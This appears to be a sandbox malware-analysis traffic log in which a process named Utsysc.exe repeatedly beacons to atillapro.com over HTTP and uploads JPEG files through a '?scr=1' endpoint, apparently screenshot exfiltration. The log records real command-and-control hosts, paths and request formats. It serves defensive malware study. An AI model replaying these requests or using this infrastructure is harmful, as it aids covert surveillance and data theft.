Apr 10, 2024 10:24:40.790486097 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 10, 2024 10:24:40.976850033 CEST	148	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:40 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 10, 2024 10:24:40.977749109 CEST	311	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Apr 10, 2024 10:24:41.185064077 CEST	153	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:41 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.5	49771	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:41.595594883 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 10, 2024 10:24:41.782027960 CEST	148	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:41 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 10, 2024 10:24:41.787285089 CEST	311	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Apr 10, 2024 10:24:41.977924109 CEST	153	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:41 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.5	49772	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:42.283906937 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 10, 2024 10:24:42.470355034 CEST	148	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 10, 2024 10:24:42.485342979 CEST	311	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Apr 10, 2024 10:24:42.692111969 CEST	153	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.5	49773	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:42.317831993 CEST	172	OUT	POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----ODUwOTg= Host: atillapro.com Content-Length: 85250 Cache-Control: no-cache
Apr 10, 2024 10:24:42.317867994 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 44 55 77 4f 54 67 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------ODUwOTg=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Apr 10, 2024 10:24:42.317907095 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Apr 10, 2024 10:24:42.317939043 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Apr 10, 2024 10:24:42.317939043 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Apr 10, 2024 10:24:42.317984104 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Apr 10, 2024 10:24:42.317984104 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Apr 10, 2024 10:24:42.317985058 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Apr 10, 2024 10:24:42.318020105 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Apr 10, 2024 10:24:42.318020105 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Apr 10, 2024 10:24:42.318043947 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Apr 10, 2024 10:24:43.871659040 CEST	147	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.5	49774	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:43.032771111 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 10, 2024 10:24:43.220274925 CEST	148	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:43 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 10, 2024 10:24:43.221318007 CEST	311	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Apr 10, 2024 10:24:43.420017004 CEST	153	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:43 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.5	49775	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:43.725833893 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 10, 2024 10:24:43.912262917 CEST	148	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:43 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 10, 2024 10:24:43.913265944 CEST	311	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Apr 10, 2024 10:24:44.111074924 CEST	153	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:44 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>
Apr 10, 2024 10:24:44.206852913 CEST	172	OUT	POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----ODUwOTg= Host: atillapro.com Content-Length: 85250 Cache-Control: no-cache
Apr 10, 2024 10:24:44.206919909 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 44 55 77 4f 54 67 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------ODUwOTg=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Apr 10, 2024 10:24:44.206955910 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Apr 10, 2024 10:24:44.206974983 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Apr 10, 2024 10:24:44.207010031 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Apr 10, 2024 10:24:44.207031012 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Apr 10, 2024 10:24:44.207052946 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Apr 10, 2024 10:24:44.207067966 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Apr 10, 2024 10:24:44.207128048 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Apr 10, 2024 10:24:44.207129002 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Apr 10, 2024 10:24:44.207129002 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Apr 10, 2024 10:24:45.728370905 CEST	147	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:44 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.5	49776	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:44.419627905 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 10, 2024 10:24:44.606719971 CEST	148	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:44 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 10, 2024 10:24:44.607575893 CEST	311	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Apr 10, 2024 10:24:44.799371004 CEST	153	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:44 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.5	49777	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:45.100363016 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 10, 2024 10:24:45.287365913 CEST	148	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:45 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 10, 2024 10:24:45.290962934 CEST	311	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Apr 10, 2024 10:24:45.487896919 CEST	153	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:45 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.5	49778	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:45.779969931 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 10, 2024 10:24:45.966645956 CEST	148	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:45 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 10, 2024 10:24:45.968107939 CEST	311	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Apr 10, 2024 10:24:46.167054892 CEST	153	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:46 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.5	49779	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:46.314461946 CEST	172	OUT	POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----ODUwOTg= Host: atillapro.com Content-Length: 85250 Cache-Control: no-cache
Apr 10, 2024 10:24:46.314501047 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 44 55 77 4f 54 67 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------ODUwOTg=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Apr 10, 2024 10:24:46.314548016 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Apr 10, 2024 10:24:46.314574957 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Apr 10, 2024 10:24:46.314588070 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Apr 10, 2024 10:24:46.314610004 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Apr 10, 2024 10:24:46.314630032 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Apr 10, 2024 10:24:46.314647913 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Apr 10, 2024 10:24:46.314666986 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Apr 10, 2024 10:24:46.314686060 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Apr 10, 2024 10:24:46.314703941 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Apr 10, 2024 10:24:47.836332083 CEST	147	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:46 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.5	49780	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:46.493447065 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 10, 2024 10:24:46.680368900 CEST	148	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:46 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 10, 2024 10:24:46.681080103 CEST	311	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Apr 10, 2024 10:24:46.871320009 CEST	153	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:46 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.5	49781	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:47.170103073 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 10, 2024 10:24:47.359270096 CEST	148	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:47 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 10, 2024 10:24:47.360975981 CEST	311	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Apr 10, 2024 10:24:47.567251921 CEST	153	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:47 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.5	49782	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:47.857952118 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 10, 2024 10:24:48.044524908 CEST	148	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:47 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 10, 2024 10:24:48.045362949 CEST	311	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Apr 10, 2024 10:24:48.244116068 CEST	153	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:48 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>
Apr 10, 2024 10:24:48.296937943 CEST	172	OUT	POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----ODUwOTg= Host: atillapro.com Content-Length: 85250 Cache-Control: no-cache
